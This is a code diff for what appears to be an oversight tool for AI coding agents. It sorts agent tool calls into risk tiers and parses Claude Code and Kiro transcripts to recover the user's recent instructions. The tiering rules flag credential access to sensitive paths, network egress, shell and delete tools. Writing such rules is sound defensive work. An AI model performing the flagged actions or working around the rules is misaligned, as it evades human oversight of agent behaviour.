|
|
69
|
+
if hot:
|
|
70
|
+
return TierResult(2, "credential_access", "read of a sensitive path", hot)
|
|
71
|
+
return TierResult(0, "read", "read-only tool", paths)
|
|
72
|
+
|
|
73
|
+
if name in IN_WORKSPACE_WRITE_TOOLS:
|
|
74
|
+
paths = _paths_from_args(args, cwd)
|
|
75
|
+
if not paths:
|
|
76
|
+
return TierResult(2, "edit_in_workspace", "write tool without a path argument")
|
|
77
|
+
if any(is_protected(p, roots, protected) for p in paths):
|
|
78
|
+
return TierResult(2, "edit_protected", "write to a protected path", paths)
|
|
79
|
+
if any(is_sensitive(p, sensitive) for p in paths):
|
|
80
|
+
return TierResult(2, "credential_access", "write to a sensitive path", paths)
|
|
81
|
+
if all(is_under(p, roots) for p in paths):
|
|
82
|
+
return TierResult(1, "edit_in_workspace", "write inside the workspace", paths)
|
|
83
|
+
return TierResult(2, "edit_outside_workspace", "write outside the workspace", paths)
|
|
84
|
+
|
|
85
|
+
if name in DESTRUCTIVE_TOOLS:
|
|
86
|
+
return TierResult(2, "destructive", "delete tool", _paths_from_args(args, cwd))
|
|
87
|
+
if name in SHELL_TOOLS:
|
|
88
|
+
return TierResult(2, "shell", "shell command; parsed by the deterministic engine")
|
|
89
|
+
if name in NETWORK_TOOLS:
|
|
90
|
+
return TierResult(2, "network_egress", "network tool")
|
|
91
|
+
if name in SUBAGENT_TOOLS:
|
|
92
|
+
return TierResult(2, "subagent", "subagent spawn")
|
|
93
|
+
if name.startswith(("@", "mcp_", "MCP:")): # Claude/Codex mcp__, Gemini mcp_, Cursor MCP:
|
|
94
|
+
return TierResult(2, "mcp", "MCP tool")
|
|
95
|
+
return TierResult(2, "other", "unknown tool")
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
"""Harness transcript readers: the daemon, not the hook, recovers the user's instructions."""
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
"""Read user messages from a Claude Code transcript (the JSONL at the payload's transcript_path).
|
|
2
|
+
|
|
3
|
+
Each line is one JSON object; user turns have type == "user" with message.content either a string or a list of
|
|
4
|
+
blocks. Blocks of type tool_result are the harness feeding tool output back and are NOT user instructions, so only
|
|
5
|
+
text blocks count. Incremental like the Kiro reader: the file is append-only.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
import json
|
|
11
|
+
import threading
|
|
12
|
+
from pathlib import Path
|
|
13
|
+
|
|
14
|
+
from ..models import UserMessage
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
class ClaudeTranscript:
|
|
18
|
+
def __init__(self) -> None:
|
|
19
|
+
self._cache: dict[str, tuple[int, list[str]]] = {}
|
|
20
|
+
self._lock = threading.Lock()
|
|
21
|
+
|
|
22
|
+
def _user_texts(self, path: str) -> list[str]:
|
|
23
|
+
p = Path(path).expanduser()
|
|
24
|
+
try:
|
|
25
|
+
size = p.stat().st_size
|
|
26
|
+
except OSError:
|
|
27
|
+
return []
|
|
28
|
+
with self._lock:
|
|
29
|
+
offset, texts = self._cache.get(path, (0, []))
|
|
30
|
+
if size < offset:
|
|
31
|
+
offset, texts = 0, []
|
|
32
|
+
if size == offset:
|
|
33
|
+
return texts
|
|
34
|
+
texts = list(texts)
|
|
35
|
+
with open(p, "rb") as f:
|
|
36
|
+
f.seek(offset)
|
|
37
|
+
chunk = f.read(size - offset)
|
|
38
|
+
last_nl = chunk.rfind(b"\n")
|
|
39
|
+
if last_nl < 0:
|
|
40
|
+
return texts
|
|
41
|
+
for raw in chunk[: last_nl + 1].splitlines():
|
|
42
|
+
if b'"user"' not in raw:
|
|
43
|
+
continue
|
|
44
|
+
try:
|
|
45
|
+
o = json.loads(raw)
|
|
46
|
+
except json.JSONDecodeError:
|
|
47
|
+
continue
|
|
48
|
+
if o.get("type") != "user":
|
|
49
|
+
continue
|
|
50
|
+
msg = o.get("message") or {}
|
|
51
|
+
content = msg.get("content")
|
|
52
|
+
if isinstance(content, str):
|
|
53
|
+
text = content
|
|
54
|
+
elif isinstance(content, list):
|
|
55
|
+
text = " ".join(b.get("text", "") for b in content if isinstance(b, dict) and b.get("type") == "text")
|
|
56
|
+
else:
|
|
57
|
+
continue
|
|
58
|
+
if text.strip() and not (o.get("isMeta") or o.get("isCompactSummary")):
|
|
59
|
+
texts.append(text.strip())
|
|
60
|
+
self._cache[path] = (offset + last_nl + 1, texts)
|
|
61
|
+
return texts
|
|
62
|
+
|
|
63
|
+
def user_messages(self, path: str | None, n: int = 3) -> list[UserMessage] | None:
|
|
64
|
+
if not path:
|
|
65
|
+
return None
|
|
66
|
+
texts = self._user_texts(path)
|
|
67
|
+
if not texts:
|
|
68
|
+
return None
|
|
69
|
+
last = texts[-n:]
|
|
70
|
+
return [UserMessage(n=i - len(last), text=t) for i, t in enumerate(last)]
|
|
71
|
+
|
|
72
|
+
def turn_count(self, path: str | None) -> int:
|
|
73
|
+
return len(self._user_texts(path)) if path else 0
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
"""Read user messages from a Kiro session transcript (adapters/kiro/PAYLOADS.md §6).
|
|
2
|
+
|
|
3
|
+
Layout: <sessions_dir>/<workspace-hash>/<session_id>/messages.jsonl, one JSON object per line with
|
|
4
|
+
payload.type in {user, assistant, tool_call, tool_result, turn_start, ...}; session.json alongside.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from __future__ import annotations
|
|
8
|
+
|
|
9
|
+
import json
|
|
10
|
+
import threading
|
|
11
|
+
from pathlib import Path
|
|
12
|
+
from typing import Any
|
|
13
|
+
|
|
14
|
+
from ..models import UserMessage
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
class KiroTranscript:
|
|
18
|
+
def __init__(self, sessions_dir: Path):
|
|
19
|
+
self.sessions_dir = Path(sessions_dir).expanduser()
|
|
20
|
+
self._paths: dict[str, Path] = {}
|
|
21
|
+
self._cache: dict[str, tuple[int, list[str]]] = {} # session -> (bytes consumed, user texts)
|
|
22
|
+
self._lock = threading.Lock()
|
|
23
|
+
|
|
24
|
+
def find(self, session_id: str) -> Path | None:
|
|
25
|
+
if session_id in self._paths and self._paths[session_id].exists():
|
|
26
|
+
return self._paths[session_id]
|
|
27
|
+
if not self.sessions_dir.exists():
|
|
28
|
+
return None
|
|
29
|
+
for ws in self.sessions_dir.iterdir():
|
|
30
|
+
cand = ws / session_id / "messages.jsonl"
|
|
31
|
+
if cand.exists():
|
|
32
|
+
self._paths[session_id] = cand
|
|
33
|
+
return cand
|
|
34
|
+
return None
|
|
35
|
+
|
|
36
|
+
def session_meta(self, session_id: str) -> dict[str, Any]:
|
|
37
|
+
p = self.find(session_id)
|
|
38
|
+
if not p:
|
|
39
|
+
return {}
|
|
40
|
+
meta = p.with_name("session.json")
|
|
41
|
+
try:
|
|
42
|
+
return json.loads(meta.read_text()) if meta.exists() else {}
|
|
43
|
+
except json.JSONDecodeError:
|
|
44
|
+
return {}
|
|
45
|
+
|
|
46
|
+
def _user_texts(self, session_id: str) -> list[str]:
|
|
47
|
+
"""Incremental: the transcript is append-only, so only bytes past the last offset are parsed."""
|
|
48
|
+
p = self.find(session_id)
|
|
49
|
+
if not p:
|
|
50
|
+
return []
|
|
51
|
+
try:
|
|
52
|
+
size = p.stat().st_size
|
|
53
|
+
except FileNotFoundError:
|
|
54
|
+
return []
|
|
55
|
+
with self._lock:
|
|
56
|
+
offset, texts = self._cache.get(session_id, (0, []))
|
|
57
|
+
if size < offset: # rotated or truncated: start over
|
|
58
|
+
offset, texts = 0, []
|
|
59
|
+
if size == offset:
|
|
60
|
+
return texts
|
|
61
|
+
texts = list(texts)
|
|
62
|
+
with open(p, "rb") as f:
|
|
63
|
+
f.seek(offset)
|
|
64
|
+
chunk = f.read(size - offset)
|
|
65
|
+
# keep a partial trailing line for the next read
|
|
66
|
+
last_nl = chunk.rfind(b"\n")
|
|
67
|
+
if last_nl < 0:
|
|
68
|
+
return texts
|
|
69
|
+
consumed = offset + last_nl + 1
|
|
70
|
+
for raw in chunk[: last_nl + 1].splitlines():
|
|
71
|
+
if b'"user"' not in raw and b'"interaction_resolved"' not in raw:
|
|
72
|
+
continue
|
|
73
|
+
try:
|
|
74
|
+
o = json.loads(raw)
|
|
75
|
+
except json.JSONDecodeError:
|
|
76
|
+
continue
|
|
77
|
+
payload = o.get("payload") or {}
|
|
78
|
+
if payload.get("type") == "interaction_resolved" and payload.get("outcome") == "answered":
|
|
79
|
+
# the user's answer to a question the agent asked (user_input tool); these are the user's words too
|
|
80
|
+
answer = payload.get("selectedOption") or payload.get("response") or payload.get("answer")
|
|
81
|
+
if isinstance(answer, str) and answer.strip():
|
|
82
|
+
texts.append(f"[answer] {answer.strip()}")
|
|
83
|
+
continue
|
|
84
|
+
if payload.get("type") != "user":
|
|
85
|
+
continue
|
|
86
|
+
content = payload.get("content")
|
|
87
|
+
if isinstance(content, list):
|
|
88
|
+
content = " ".join(c.get("text", "") if isinstance(c, dict) else str(c) for c in content)
|
|
89
|
+
if isinstance(content, str) and content.strip():
|
|
90
|
+
texts.append(content.strip())
|
|
91
|
+
self._cache[session_id] = (consumed, texts)
|
|
92
|
+
return texts
|
|
93
|
+
|
|
94
|
+
def user_messages(self, session_id: str, n: int = 3) -> list[UserMessage] | None:
|
|
95
|
+
texts = self._user_texts(session_id)
|
|
96
|
+
if not texts:
|
|
97
|
+
return None
|
|
98
|
+
last = texts[-n:]
|
|
99
|
+
return [UserMessage(n=i - len(last), text=t) for i, t in enumerate(last)]
|
|
100
|
+
|
|
101
|
+
def turn_count(self, session_id: str) -> int:
|
|
102
|
+
return len(self._user_texts(session_id))
|